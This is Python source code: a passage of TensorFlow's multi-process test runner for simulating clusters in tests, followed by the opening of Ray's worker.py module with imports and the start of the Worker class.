'process_status_queue', 'parent_to_sub_queue', 'streaming_pipe_w', 'barrier'
])
# Default time out sec is selected so that it's handled before the default
# "medium" timeout of the test runs.
_DEFAULT_TIMEOUT_SEC = 200
class MultiProcessRunner(object):
"""A utility class to start multiple processes to simulate a cluster.
We need to use multiple processes to simulate a cluster in TF 2.0 tests
because TF 2.0 has some process-global data structures that have to be
separated by processes. We also need child processes to test out our fault
tolerance because shutting down a standard TensorFlow server within its
process is not supported.
Note: the main test program that uses this runner class must run main program
via `test_main` defined in this file. Using this runner in non-test binaries
is not supported yet.
This class is not thread-safe. Child processes will inherit TF2 behavior flag.
"""
def __init__(self,
proc_func,
cluster_spec,
rpc_layer=None,
max_run_time=None,
grpc_fail_fast=None,
stream_stdout=True,
list_stdout=False,
use_dill_for_args=True,
daemon=False,
args=None,
kwargs=None):
"""Creates a multi-process runner.
Args:
proc_func: Function to be run on child processes. This will be run on
processes for all task types.
cluster_spec: Dict for cluster spec. The following is an example of
cluster with three workers and two ps's.
{"worker": ["worker0.example.com:2222",
"worker1.example.com:2222",
"worker2.example.com:2222"],
"ps": ["ps0.example.com:2222",
"ps1.example.com:2222"]}
rpc_layer: RPC layer to use. Default value is 'grpc'.
max_run_time: If set, child processes is forced to exit at approximately
this many seconds after `start` is called. We achieve this through
`signal.alarm()` api. Note that this is best effort at Python level
since Python signal handler does not get executed when it runs lower
level C/C++ code. So it can be delayed for arbitrarily long time.
If any of the child process is still running when `max_run_time` is up,
they will be force-terminated and a `UnexpectedSubprocessExitError`
may be raised at `join()`.
grpc_fail_fast: Whether GRPC connection between processes should fail
without retrying. Defaults to None, in which case the environment
variable is not explicitly set.
stream_stdout: True if the output/error from the subprocesses should be
streamed to be printed in parent process' log. Defaults to True.
list_stdout: True if the output/error from the subprocesses should be
collected to be attached to the resulting `MultiProcessRunnerResult`
returned from `MultiProcessRunner.join()`. If True, the list of stdout
can be retrieved via `MultiProcessRunnerResult.stdout` attribute.
Defaults to False.
use_dill_for_args: Whether to use dill to pickle `args` and `kwargs`. dill
can pickle more objects, but doesn't work with types in
`multiprocessing` library like `Mutex`.
daemon: Whether to start processes as daemons.
args: Positional arguments to be sent to functions run on processes.
kwargs: Keyword arguments to be sent to functions run on processes.
Raises:
RuntimeError: if `multi_process_runner.test_main()` is not called.
ValueError: if there are more than one chief in the `cluster_spec`.
"""
assert cluster_spec is not None
if 'chief' in cluster_spec and len(cluster_spec['chief']) > 1:
raise ValueError('If chief exists in the cluster, there must be at most '
'one chief. Current `cluster_spec` has {} chiefs.'
.format(len(cluster_spec['chief'])))
if not multi_process_lib.initialized():
raise RuntimeError('`multi_process_runner` is not initialized. '
'Please call `multi_process_runner.test_main()` '
'within `if __name__ == \'__main__\':` block '
'in your python module to properly initialize '
'`multi_process_runner`.')
if not callable(proc_func):
raise ValueError('proc_func is not a callable')
self._proc_func = proc_func
self._cluster_spec = cluster_spec
self._rpc_layer = rpc_layer or 'grpc'
self._max_run_time = max_run_time
self._grpc_fail_fast = grpc_fail_fast
self._stream_stdout = stream_stdout
# TODO(rchao): Revisit list_stdout argument to consider other solution.
self._list_stdout = list_stdout
self._dependence_on_chief = True
self._use_dill_for_args = use_dill_for_args
self._daemon = daemon
self._args = args or ()
self._kwargs = kwargs or {}
# Child processes should have the same v2 and eager behavior.
self._v2_enabled = tf2.enabled()
self._executing_eagerly = context.executing_eagerly()
self._joined = False
self._processes = {}
self._outstanding_subprocess_count = 0
self._reading_threads = []
self._manager = multiprocessing.Manager()
self._process_status_queue = self._manager.Queue()
self._parent_to_sub_queue = self._manager.Queue()
parties = sum(len(addresses) for addresses in self._cluster_spec.values())
self._barrier = self._manager.Barrier(parties)
# We use a queue to collect outputs from worker processes since it's thread
# safe.
self._streaming_queue = self._manager.Queue()
# This flag will be set to True once terminate_all() is called.
self._all_forced_terminated = False
def _continuously_readline_from_sub(self, pipe_r, task_type, task_id):
"""Function to continuously read lines from subprocesses."""
with os.fdopen(pipe_r.fileno(), 'r', closefd=False) as reader:
for line in reader:
task_string = '[{}-{}]:'.format(task_type, task_id)
formatted_line = '{} {}'.format(task_string.ljust(14), line)
if self._stream_stdout:
# TODO(rchao): Use a lock here to ensure the printed lines are not
# broken.
print(formatted_line, end='', flush=True)
if self._list_stdout:
self._streaming_queue.put(formatted_line)
def _start_subprocess_and_reading_thread(self,
task_type,
task_id,
cluster_spec=None,
proc_func=None,
args=None,
kwargs=None):
"""Start a subprocess and a thread the reads lines from the subprocess."""
if dill is None:
raise unittest.SkipTest(
'TODO(b/150264776): Resolve dependency issue in CI')
test_env = TestEnvironment(
task_type=task_type,
task_id=task_id,
cluster_spec=cluster_spec or self._cluster_spec,
rpc_layer=self._rpc_layer,
grpc_fail_fast=self._grpc_fail_fast,
v2_enabled=self._v2_enabled,
executing_eagerly=self._executing_eagerly,
)
pipe_r, pipe_w = multiprocessing.Pipe(duplex=False)
resources = Resources(
process_status_queue=self._process_status_queue,
parent_to_sub_queue=self._parent_to_sub_queue,
streaming_pipe_w=pipe_w,
barrier=self._barrier,
)
if proc_func is None:
proc_func, args, kwargs = self._proc_func, self._args, self._kwargs
# Always use dill to pickle proc_func so that we support more callable
# types, e.g. lambda.
proc_func = dill.dumps(proc_func, dill.HIGHEST_PROTOCOL)
if self._use_dill_for_args:
args = dill.dumps(args, dill.HIGHEST_PROTOCOL)
kwargs = dill.dumps(kwargs, dill.HIGHEST_PROTOCOL)
p = _Process(
test_env=test_env,
target=_ProcFunc(),
args=(resources, test_env, proc_func, args, kwargs,
self._use_dill_for_args),
daemon=self._daemon)
p.start()
self._processes[(task_type, task_id)] = p
self._outstanding_subprocess_count += 1
# For each subprocess, we dedicate a thread continuously reading lines
# from them.
thread = threading.Thread( # pylint: disable=unexpected-keyword-arg
target=self._continuously_readline_from_sub,
args=(pipe_r, task_type, task_id))
thread.start()
self._reading_threads.append(thread)
def start(self):
"""Starts processes, one for each task in `cluster_spec`.
Note that this is best effort by the applicable multiprocessing library,
and it may take up to seconds for a subprocess to be successfully started.
"""
if self._processes:
raise ValueError('MultiProcessRunner already started.')
for task_type, addresses in self._cluster_spec.items():
for task_id, _ in enumerate(addresses):
self._start_subprocess_and_reading_thread(task_type, task_id)
# TODO(rchao): Remove the need of using SIGALRM if possible. At this time,
# without this the tests become very flaky.
if self._max_run_time is not None:
def handler(signum, frame):
del signum, frame
self.terminate_all()
signal.signal(signal.SIGALRM, handler)
signal.alarm(self._max_run_time)
def start_in_process_as(self, as_task_type, as_task_id):
"""Start the processes, with the specified task run in main process.
This is similar to `start()` except that the task with task_type
`as_task_type` and task_id `as_task_id` is run in the main process.
This method is particularly useful when debugging tool such as `pdb` is
needed in some specific task. Note that since this method is blocking until
that specific task exits, additional actions would need a thread to be
called:
```python
def proc_func():
# user code to be run
import pdb; pdb.set_trace()
def follow_ups():
time.sleep(5)
mpr.start_single_process(
task_type='evaluator',
task_id=0)
mpr = multi_process_runner.MultiProcessRunner(
proc_func,
multi_worker_test_base.create_cluster_spec(
has_chief=True, num_workers=1))
threading.Thread(target=follow_ups).start()
mpr.start_in_process_as(as_task_type='chief', as_task_id=0)
mpr.join()
```
Note that if `list_stdout=True`, the logs/stdout by task
run by the main process is not available in result.stdout.
Args:
as_task_type: The task type to be run in the main process.
as_task_id: The task id to be run in the main process.
"""
if self._processes:
raise ValueError('MultiProcessRunner already started.')
for task_type, addresses in self._cluster_spec.items():
for task_id, _ in enumerate(addresses):
if not (task_type == as_task_type and task_id == as_task_id):
self._start_subprocess_and_reading_thread(task_type, task_id)
_set_tf_config(as_task_type, as_task_id, self._cluster_spec,
self._rpc_layer)
self._proc_func(*self._args, **self._kwargs)
def start_single_process(self,
task_type,
task_id,
cluster_spec=None,
proc_func=None,
args=None,
kwargs=None):
"""Starts a single process.
This starts a process in the cluster with the task type, task id, and the
process function (`proc_func`). If process function is `None`, the function
provided at `__init__` will be used. If `cluster_spec` is `None`, the
cluster spec provided at `__init__` will be used.
TODO(rchao): It is meant that all subprocesses will be updated with the new
cluster spec, but this has yet to be implemented. At this time only the
newly started subprocess picks up this updated cluster spec.
Args:
task_type: The task type.
task_id: The task id.
cluster_spec: The cluster spec to be used on the newly started
process. If `None`, the cluster spec provided at `__init__` will be
used.
proc_func: The process function to be run on the newly started
process. If specified, specify `args` and `kwargs` as well. If `None`,
the function provided at `__init__` will be used.
args: Optional positional arguments to be supplied in `proc_func`.
kwargs: Optional keyword arguments to be supplied in `proc_func`.
"""
self._start_subprocess_and_reading_thread(
task_type,
task_id,
cluster_spec=cluster_spec,
proc_func=proc_func,
args=args or (),
kwargs=kwargs or {})
def _queue_to_list(self, queue_to_convert):
"""Convert `queue.Queue` to `list`."""
list_to_return = []
# Calling `queue.empty()` is not reliable.
while True:
try:
list_to_return.append(queue_to_convert.get(block=False))
except Queue.Empty:
break
return list_to_return
def get_process_id(self, task_type, task_id):
"""Returns the subprocess id given the task type and task id."""
p = self._processes.get((task_type, task_id), None)
return p.pid if p else None
def _join_or_terminate(self, task_type, task_id, process, timeout):
"""Joins a process. If it times out, terminate all procsses."""
logging.info('joining %s-%d', task_type, task_id)
process.join(timeout)
# If exitcode is None, the process aren't terminated and this is a
# timeout.
if process.exitcode is None:
# Force termination to dump worker processes stack trace.
self.terminate_all(sig=signal.SIGTERM)
process_statuses = self._queue_to_list(self._process_status_queue)
raise SubprocessTimeoutError(
'%s-%d and possibly more subprocesses timed out.' %
(task_type, task_id), self._get_mpr_result(process_statuses))
def join(self, timeout=_DEFAULT_TIMEOUT_SEC):
"""Joins all the processes with timeout.
If any of the subprocesses does not exit approximately after `timeout`
seconds has passed after `join` call, this raises a
`SubprocessTimeoutError`.
Note: At timeout, it uses SIGTERM to terminate the subprocesses, in order to
log the stack traces of the subprocesses when they exit. However, this
results in timeout when the test runs with tsan (thread sanitizer); if tsan
is being run on the test targets that rely on timeout to assert information,
`MultiProcessRunner.terminate_all()` must be called after `join()`, before
the test exits, so the subprocesses are terminated with SIGKILL, and data
race is removed.
Args:
timeout: if set and not all processes report status within roughly
`timeout` seconds, a `SubprocessTimeoutError` exception will be raised.
Returns:
A MultiProcessRunnerResult object, which has two attributes,
`return_value` and `stdout`. `return_value` always contains the return
values from the subprocesses. If `list_stdout` argument is True at
`__init__`, `stdout` is available that contains a list of all messages
from subprocesses' stdout and stderr.
Raises:
SubprocessTimeoutError: if not all processes report status approximately
within `timeout` seconds. When this is raised, a
`MultiProcessRunnerResult` object can be retrieved by
`SubprocessTimeoutError`'s mpr_result attribute, which has the same
structure as above 'Returns' section describes.
UnexpectedSubprocessExitError: If any of the subprocesses did not exit
properly (for example, they exit on SIGTERM or SIGKILL signal). When
this is raised, a `MultiProcessRunnerResult` object can be retrieved by
`UnexpectedSubprocessExitError`'s mpr_result attribute, which has the
same structure as above 'Returns' section describes. If `max_run_time`
is not `None`, it is expected that some subprocesses may be
force-killed when `max_run_time` is up, and this is raised in those
cases.
Exception: if there is an Exception propagated from any subprocess.
"""
if self._joined:
raise ValueError("MultiProcessRunner can't be joined twice.")
self._joined = True
chief = self._processes.get(('chief', 0), None)
if self._dependence_on_chief and chief:
self._join_or_terminate('chief', 0, chief, timeout)
# Give other processes a chance to exit on their own.
for p in self._processes.values():
p.join(timeout=3)
self.terminate_all()
else:
for (task_type, task_id), p in self._processes.items():
self._join_or_terminate(task_type, task_id, p, timeout)
for (task_type, task_id), p in self._processes.items():
logging.info('%s-%d exit code: %s', task_type, task_id, p.exitcode)
process_statuses = self._queue_to_list(self._process_status_queue)
for process_status in process_statuses:
assert isinstance(process_status, _ProcessStatusInfo)
if not process_status.is_successful:
six.reraise(*process_status.exc_info)
# Checking all the processes that are expected to exit properly.
for (task_type, task_id), p in self._processes.items():
if self._dependence_on_chief and chief and task_type != 'chief':
# If _dependence_on_chief, other processes may have been
# forced-terminated, which is expected.
continue
# Successfully exiting process has exit code 0.
if p.exitcode is None or p.exitcode > 0:
raise UnexpectedSubprocessExitError(
'Subprocess %s-%d exited with exit code %d. See logs for details.' %
(task_type, task_id, p.exitcode),
self._get_mpr_result(process_statuses))
logging.info('Joining log reading threads.')
for thread in self._reading_threads:
thread.join()
logging.info('Joined log reading threads.')
# Clear the alarm.
signal.alarm(0)
return self._get_mpr_result(process_statuses)
def _get_mpr_result(self, process_statuses):
stdout = self._queue_to_list(self._streaming_queue)
return_values = []
for process_status in process_statuses:
if process_status.return_value is not None:
return_values.append(process_status.return_value)
return MultiProcessRunnerResult(stdout=stdout, return_value=return_values)
def terminate(self, task_type, task_id):
"""Terminates the process with `task_type` and `task_id`."""
p = self._processes.get((task_type, task_id), None)
if p is None:
raise ValueError('{}-{} does not exist'.format(task_type, task_id))
# TODO(crccw): change to use Process.terminate() as well.
self._parent_to_sub_queue.put('terminate {} {}'.format(task_type, task_id))
p.join()
def terminate_all(self, sig=None):
"""Terminates all subprocesses."""
# Use SIGKILL as default. In systems where that's unavailable such as
# windows, use SIGTERM.
sig = sig or getattr(signal, 'SIGKILL', signal.SIGTERM)
for (task_type, task_id), p in self._processes.items():
try:
os.kill(p.pid, sig)
logging.info('%s-%d terminated with signal %r.', task_type, task_id,
sig)
except ProcessLookupError:
logging.info('Attempting to kill %s-%d but it does not exist.',
task_type, task_id)
self._all_forced_terminated = True
class _Process(multi_process_lib.Process):
"""A modified `multiprocessing.Process` that can set up environment variables."""
# TODO(crccw): consider moving other logics in _ProcFunc to _Process.
def __init__(self, test_env, **kwargs):
super(_Process, self).__init__(**kwargs)
self._test_env = test_env
self._actual_run = getattr(self, 'run')
self.run = self._run_with_setenv
def _run_with_setenv(self):
# We need to set environment variables before doing anything because
# setenv() is not thread-safe.
test_env = self._test_env
if test_env.grpc_fail_fast is not None:
os.environ['GRPC_FAIL_FAST'] = str(test_env.grpc_fail_fast)
_set_tf_config(test_env.task_type, test_env.task_id, test_env.cluster_spec,
test_env.rpc_layer)
return self._actual_run()
class _ProcFunc(object):
"""Represents a callable to run in a subprocess."""
@contextlib.contextmanager
def _runtime_mode(self, executing_eagerly):
if executing_eagerly:
with context.eager_mode():
yield
else:
with context.graph_mode():
yield
def _message_checking_func(self, task_type, task_id):
"""A function that regularly checks messages from parent process."""
# TODO(rchao): Remove this once parent uses SIGKILL to terminate subprocess.
while True:
try:
message = self._resources.parent_to_sub_queue.get(block=False)
# Currently the only possible message is termination.
if not message.startswith('terminate'):
raise ValueError('Unrecognized message: {}'.format(message))
if message == 'terminate {} {}'.format(task_type, task_id):
break
else:
# If the message is not targeting this process, put it back to the
# queue.
self._resources.parent_to_sub_queue.put(message)
time.sleep(1)
except Queue.Empty:
time.sleep(0.1)
self._resources.process_status_queue.put(
_ProcessStatusInfo(
is_successful=True,
exc_info=None,
return_value=None))
# `os._exit(0)` is used to more reliably terminate a subprocess.
os._exit(0) # pylint: disable=protected-access
def _close_streaming(self):
"""Close stdout, stderr and streaming pipe.
We need to explicitly close them since Tensorflow may take a while to exit,
so that the reading threads in the main process can exit more quickly.
"""
sys.stdout.flush()
sys.stderr.flush()
sys.stdout.close()
sys.stderr.close()
self._resources.streaming_pipe_w.close()
def __call__(self, resources, test_env, proc_func, args, kwargs,
use_dill_for_args):
"""The wrapper function that actually gets run in child process(es)."""
global _barrier
self._resources = resources
_barrier = self._resources.barrier
proc_func = dill.loads(proc_func)
if use_dill_for_args:
args = dill.loads(args)
kwargs = dill.loads(kwargs)
if faulthandler is not None:
faulthandler.enable()
faulthandler.register(signal.SIGTERM, chain=True)
# All logging should go to stderr to be streamed to the main process.
logging.set_stderrthreshold(logging.DEBUG)
# Assign sys.stdout and sys.stderr as duplicates of `streaming_pipe_w` so
# print() and logging.*() write directly to `streaming_pipe_w`.
# Unfortunately since we cannot prepend task_type and task_id information to
# the streamed logs we will need a thread per subprocess to distinguish
# where the piece of message is from.
os.dup2(resources.streaming_pipe_w.fileno(), sys.stdout.fileno())
os.dup2(resources.streaming_pipe_w.fileno(), sys.stderr.fileno())
pid = os.getpid()
logging.info('Subprocess with PID %d (%s, %d) is now being started.', pid,
test_env.task_type, test_env.task_id)
# The thread will be dedicated to checking messages from the parent process.
threading.Thread( # pylint: disable=unexpected-keyword-arg
target=self._message_checking_func,
args=(test_env.task_type, test_env.task_id),
daemon=True).start()
if test_env.v2_enabled:
v2_compat.enable_v2_behavior()
with self._runtime_mode(test_env.executing_eagerly):
info = _run_contained(proc_func, args, kwargs)
self._resources.process_status_queue.put(info)
# Re-raise the exception in addition to reporting it to the parent
# process, so that even if `--test_timeout` flag is set and the
# error doesn't make it to be shown in parent process before bazel's
# timeout, the log would still show what happens in this subprocess,
# instead of silently suppressing the error due to early bazel
# timeout. Raising an error in the subprocess produces stack trace in
# the log, but the program continues running.
if not info.is_successful:
six.reraise(*info.exc_info)
self._close_streaming()
# Exit with code 0 as it's considered successful exit at this point.
sys.exit(0)
class MultiProcessPoolRunner(object):
"""A utility class to start a process pool to simulate a cluster.
It's similar to MultiProcessRunner, but uses a pool of processes to avoid the
expensive initialization cost of Tensorflow.
"""
def __init__(self, cluster_spec, initializer=None):
"""Creates a multi-process pool runner.
Args:
cluster_spec: Dict for cluster spec. The following is an example of
cluster with three workers.
{"worker": ["worker0.example.com:2222",
"worker1.example.com:2222",
"worker2.example.com:2222"]}
initializer: a callable to called at the startup of worker processes.
Raises:
RuntimeError: if `multi_process_runner.test_main()` is not called.
ValueError: if there are more than one chief in the `cluster_spec`.
"""
self._cluster_spec = cluster_spec
self._initializer = initializer
self._conn = {}
self._runner = None
def __del__(self):
self.shutdown()
def shutdown(self):
"""Shuts down the worker pool."""
for conn in self._conn.values():
conn.close()
self._conn = {}
if self._runner is not None:
self._runner.join()
self._runner = None
def _start(self):
"""Starts the worker pool."""
# We need different arguments for different processes so we're passing a
# no-op proc_func here and use start_single_process instead.
#
# We also need to start the process pool as daemon, so that they don't block
# the program from exiting. Note that __del__ may not get called when
# there's an exception. The user may also store a pool runner in a global
# object to share across test cases
if dill is None:
raise unittest.SkipTest(
'TODO(b/150264776): Resolve dependency issue in CI')
self._runner = MultiProcessRunner(
proc_func=lambda: None,
cluster_spec=self._cluster_spec,
use_dill_for_args=False,
daemon=True)
if self._initializer:
initializer = dill.dumps(self._initializer, dill.HIGHEST_PROTOCOL)
else:
initializer = None
for task_type, addresses in self._cluster_spec.items():
for task_id, _ in enumerate(addresses):
conn1, conn2 = multiprocessing.Pipe(duplex=True)
self._conn[(task_type, task_id)] = conn1
self._runner.start_single_process(
task_type,
task_id,
proc_func=_pool_runner_worker,
args=(initializer, conn2))
def run(self, proc_func, args=None, kwargs=None):
"""Runs `proc_func` with `args` and `kwargs` on all jobs.
Args:
proc_func: The function to be run.
args: Optional positional arguments to be supplied in `proc_func`.
kwargs: Optional keyword arguments to be supplied in `proc_func`.
Returns:
A list of return values.
"""
# TODO(b/150264776): skip in OSS until it's implemented.
multi_process_lib.Process()
if self._runner is None:
self._start()
proc_func = dill.dumps(proc_func, dill.HIGHEST_PROTOCOL)
for conn in self._conn.values():
conn.send((proc_func, args or [], kwargs or {}))
process_statuses = []
for (task_type, task_id), conn in self._conn.items():
logging.info('Waiting for the result from %s-%d', task_type, task_id)
try:
process_statuses.append(conn.recv())
except EOFError:
# This shouldn't happen due to exceptions in proc_func. This usually
# means bugs in the runner.
self.shutdown()
raise RuntimeError('Unexpected EOF. Worker process may have died. '
'Please report a bug')
return_values = []
for process_status in process_statuses:
assert isinstance(process_status, _ProcessStatusInfo)
if not process_status.is_successful:
six.reraise(*process_status.exc_info)
if process_status.return_value is not None:
return_values.append(process_status.return_value)
return return_values
def _pool_runner_worker(initializer, conn):
"""Function that runs on the workers in a pool.
It listens for callables to run and returns the result until `conn` is closed.
It captures the exceptions during executing the callable and return it through
`conn`.
Args:
initializer: A callable to execute during startup.
conn: A multiprocessing.Connection object to listen for tasks and send
results.
"""
if initializer:
initializer = dill.loads(initializer)
initializer()
while True:
try:
proc_func, args, kwargs = conn.recv()
except EOFError:
break
proc_func = dill.loads(proc_func)
info = _run_contained(proc_func, args, kwargs)
sys.stdout.flush()
sys.stderr.flush()
conn.send(info)
def _run_contained(proc_func, args, kwargs):
"""Runs `proc_func` with `args` and `kwargs`.
The function returns _ProcessStatusInfo which captures the return value and
the exception.
Args:
proc_func: The function to be run.
args: Optional positional arguments to be supplied in `proc_func`.
kwargs: Optional keyword arguments to be supplied in `proc_func`.
Returns:
a _ProcessStatusInfo.
"""
is_successful = False
return_value = None
exc_info = None
try:
return_value = proc_func(*args, **kwargs)
is_successful = True
return _ProcessStatusInfo(
is_successful=is_successful,
exc_info=exc_info,
return_value=return_value)
# If `proc_func` ends up exiting with `sys.exit()`, the `SystemExit` is not
# handled here.
except Exception: # pylint: disable=broad-except
exc_info = sys.exc_info()
return _ProcessStatusInfo(
is_successful=is_successful,
exc_info=exc_info,
return_value=return_value)
class SubprocessTimeoutError(RuntimeError):
"""An error that indicates there is at least one subprocess timing out.
When this is raised, a `MultiProcessRunnerResult` object can be retrieved by
`SubprocessTimeoutError`'s mpr_result attribute. See
`MultiProcessRunner.join()` for more information.
"""
def __init__(self, msg, mpr_result):
super(SubprocessTimeoutError, self).__init__(msg)
self.mpr_result = mpr_result
class UnexpectedSubprocessExitError(RuntimeError):
"""An error indicating there is at least one subprocess with unexpected exit.
When this is raised, a `MultiProcessRunnerResult` object can be retrieved by
`UnexpectedSubprocessExitError`'s mpr_result attribute. See
`MultiProcessRunner.join()` for more information.
"""
def __init__(self, msg, mpr_result):
super(UnexpectedSubprocessExitError, self).__init__(msg)
self.mpr_result = mpr_result
def _set_tf_config(task_type, task_id, cluster_spec, rpc_layer=None):
"""Set TF_CONFIG environment variable."""
tf_config_dict = {
'cluster': cluster_spec,
'task': {
'type': task_type,
'index': task_id,
},
}
if rpc_layer is not None:
tf_config_dict['rpc_layer'] = rpc_layer
os.environ['TF_CONFIG'] = json.dumps(tf_config_dict)
def run(proc_func,
cluster_spec,
rpc_layer=None,
max_run_time=None,
grpc_fail_fast=None,
stream_stdout=True,
list_stdout=False,
timeout=_DEFAULT_TIMEOUT_SEC,
args=None,
kwargs=None): # pylint: disable=g-doc-args
"""Runs functions in local child processes.
It is a convenience method that creates a `MultiProcessRunner` object and
invokes `start` and `join` method. Please see these methods for detailed
documentations.
Returns:
A MultiProcessRunnerResult object returned from `MultiProcessRunner.join()`.
"""
runner = MultiProcessRunner(
proc_func,
cluster_spec,
rpc_layer,
max_run_time=max_run_time,
grpc_fail_fast=grpc_fail_fast,
stream_stdout=stream_stdout,
list_stdout=list_stdout,
args=args,
kwargs=kwargs)
runner.start()
return runner.join(timeout)
# This is set by MultiProcessRunner in worker processes.
_barrier = None
def barrier():
if _barrier is None:
raise ValueError(
'barrier is not defined. It is likely because you are calling barrier()'
'in the main process. barrier() can only be called in the subprocesses.'
)
return _barrier
def test_main():
"""Main function to be called within `__main__` of a test file."""
multi_process_lib.test_main()
|
worker.py | from contextlib import contextmanager
import atexit
import faulthandler
import hashlib
import inspect
import io
import json
import logging
import os
import redis
import sys
import threading
import time
import traceback
from typing import Any, Callable, Dict, Iterator, List, Optional, Tuple, Union
# Ray modules
from ray.autoscaler._private.constants import AUTOSCALER_EVENTS
from ray.autoscaler._private.util import DEBUG_AUTOSCALING_ERROR
import ray.cloudpickle as pickle
import ray._private.memory_monitor as memory_monitor
import ray.node
import ray.job_config
import ray._private.parameter
import ray.ray_constants as ray_constants
import ray.remote_function
import ray.serialization as serialization
import ray._private.gcs_utils as gcs_utils
import ray._private.services as services
import ray._private.runtime_env as runtime_env_pkg
import ray._private.import_thread as import_thread
from ray.util.tracing.tracing_helper import import_from_string
from ray.util.annotations import PublicAPI, DeveloperAPI, Deprecated
import ray
import colorama
import setproctitle
import ray.state
from ray import (
ActorID,
JobID,
ObjectRef,
Language,
)
import ray._private.profiling as profiling
from ray.exceptions import (
RaySystemError,
RayError,
RayTaskError,
ObjectStoreFullError,
)
from ray._private.function_manager import FunctionActorManager
from ray._private.ray_logging import setup_logger
from ray._private.ray_logging import global_worker_stdstream_dispatcher
from ray._private.utils import check_oversized_function
from ray.util.inspect import is_cython
from ray.experimental.internal_kv import _internal_kv_get, \
_internal_kv_initialized
from ray._private.client_mode_hook import client_mode_hook
SCRIPT_MODE = 0
WORKER_MODE = 1
LOCAL_MODE = 2
SPILL_WORKER_MODE = 3
RESTORE_WORKER_MODE = 4
UTIL_WORKER_MODE = 5
ERROR_KEY_PREFIX = b"Error:"
# Logger for this module. It should be configured at the entry point
# into the program using Ray. Ray provides a default configuration at
# entry/init points.
logger = logging.getLogger(__name__)
# Visible for testing.
def _unhandled_error_handler(e: Exception):
logger.error("Unhandled error (suppress with "
"RAY_IGNORE_UNHANDLED_ERRORS=1): {}".format(e))
class Worker:
"""A class used to define the control flow of a worker process.
Note:
The methods in this class are considered unexposed to the user. The
functions outside of this class are considered exposed.
Attributes:
node (ray.node.Node): The node this worker is attached to.
mode: The mode of the worker. One of SCRIPT_MODE, LOCAL_MODE, and
WORKER_MODE.
cached_functions_to_run (List): A list of functions to run on all of
the workers that should be exported as soon as connect is called.
"""
def __init__(self):
"""Initialize a Worker object."""
self.node = None
self.mode = None
self.cached_functions_to_run = []
self.actors = {}
# When the worker is constructed. Record the original value of the
# CUDA_VISIBLE_DEVICES environment variable.
self.original_gpu_ids = ray._private.utils.get_cuda_visible_devices()
self.memory_monitor = memory_monitor.MemoryMonitor()
# A dictionary that maps from driver id to SerializationContext
# TODO: clean up the SerializationContext once the job finished.
self.serialization_context_map = {}
self.function_actor_manager = FunctionActorManager(self)
# This event is checked regularly by all of the threads so that they
# know when to exit.
self.threads_stopped = threading.Event()
# Index of the current session. This number will
# increment every time when `ray.shutdown` is called.
self._session_index = 0
# If this is set, the next .remote call should drop into the
# debugger, at the specified breakpoint ID.
self.debugger_breakpoint = b""
# If this is set, ray.get calls invoked on the object ID returned
# by the worker should drop into the debugger at the specified
# breakpoint ID.
self.debugger_get_breakpoint = b""
# If True, make the debugger external to the node this worker is
# running on.
self.ray_debugger_external = False
self._load_code_from_local = False
# Used to toggle whether or not logs should be filtered to only those
# produced in the same job.
self.filter_logs_by_job = True
@property
def connected(self):
"""bool: True if Ray has been started and False otherwise."""
return self.node is not None
@property
def node_ip_address(self):
self.check_connected()
return self.node.node_ip_address
@property
def load_code_from_local(self):
self.check_connected()
return self._load_code_from_local
@property
def current_job_id(self):
if hasattr(self, "core_worker"):
return self.core_worker.get_current_job_id()
return JobID.nil()
@property
def actor_id(self):
if hasattr(self, "core_worker"):
return self.core_worker.get_actor_id()
return ActorID.nil()
@property
def current_task_id(self):
return self.core_worker.get_current_task_id()
@property
def current_node_id(self):
return self.core_worker.get_current_node_id()
@property
def namespace(self):
return self.core_worker.get_job_config().ray_namespace
@property
def placement_group_id(self):
return self.core_worker.get_placement_group_id()
@property
def worker_id(self):
return self.core_worker.get_worker_id().binary()
@property
def should_capture_child_tasks_in_placement_group(self):
return self.core_worker.should_capture_child_tasks_in_placement_group()
@property
def current_session_and_job(self):
"""Get the current session index and job id as pair."""
assert isinstance(self._session_index, int)
assert isinstance(self.current_job_id, ray.JobID)
return self._session_index, self.current_job_id
@property
def runtime_env(self):
"""Get the runtime env in json format"""
return json.loads(
self.core_worker.get_job_config().runtime_env.raw_json)
def get_serialization_context(self, job_id=None):
"""Get the SerializationContext of the job that this worker is processing.
Args:
job_id: The ID of the job that indicates which job to get
the serialization context for.
Returns:
The serialization context of the given job.
"""
# This function needs to be protected by a lock, because it will be
# called by`register_class_for_serialization`, as well as the import
# thread, from different threads. Also, this function will recursively
# call itself, so we use RLock here.
if job_id is None:
job_id = self.current_job_id
with self.lock:
if job_id not in self.serialization_context_map:
self.serialization_context_map[
job_id] = serialization.SerializationContext(self)
return self.serialization_context_map[job_id]
def check_connected(self):
"""Check if the worker is connected.
Raises:
Exception: An exception is raised if the worker is not connected.
"""
if not self.connected:
if os.environ.get("RAY_ENABLE_AUTO_CONNECT", "") != "0":
ray.client().connect()
return
raise RaySystemError("Ray has not been started yet. You can "
"start Ray with 'ray.init()'.")
def set_mode(self, mode):
"""Set the mode of the worker.
The mode SCRIPT_MODE should be used if this Worker is a driver that is
being run as a Python script or interactively in a shell. It will print
information about task failures.
The mode WORKER_MODE should be used if this Worker is not a driver. It
will not print information about tasks.
The mode LOCAL_MODE should be used if this Worker is a driver and if
you want to run the driver in a manner equivalent to serial Python for
debugging purposes. It will not send remote function calls to the
scheduler and will instead execute them in a blocking fashion.
Args:
mode: One of SCRIPT_MODE, WORKER_MODE, and LOCAL_MODE.
"""
self.mode = mode
def set_load_code_from_local(self, load_code_from_local):
self._load_code_from_local = load_code_from_local
def put_object(self, value, object_ref=None, owner_address=None):
"""Put value in the local object store with object reference `object_ref`.
This assumes that the value for `object_ref` has not yet been placed in
the local object store. If the plasma store is full, the worker will
automatically retry up to DEFAULT_PUT_OBJECT_RETRIES times. Each
retry will delay for an exponentially doubling amount of time,
starting with DEFAULT_PUT_OBJECT_DELAY. After this, exception
will be raised.
Args:
value: The value to put in the object store.
object_ref (ObjectRef): The object ref of the value to be
put. If None, one will be generated.
owner_address: The serialized address of object's owner.
Returns:
ObjectRef: The object ref the object was put under.
Raises:
ray.exceptions.ObjectStoreFullError: This is raised if the attempt
to store the object fails because the object store is full even
after multiple retries.
"""
# Make sure that the value is not an object ref.
if isinstance(value, ObjectRef):
raise TypeError(
"Calling 'put' on an ray.ObjectRef is not allowed "
"(similarly, returning an ray.ObjectRef from a remote "
"function is not allowed). If you really want to "
"do this, you can wrap the ray.ObjectRef in a list and "
"call 'put' on it (or return it).")
if self.mode == LOCAL_MODE:
assert object_ref is None, ("Local Mode does not support "
"inserting with an ObjectRef")
serialized_value = self.get_serialization_context().serialize(value)
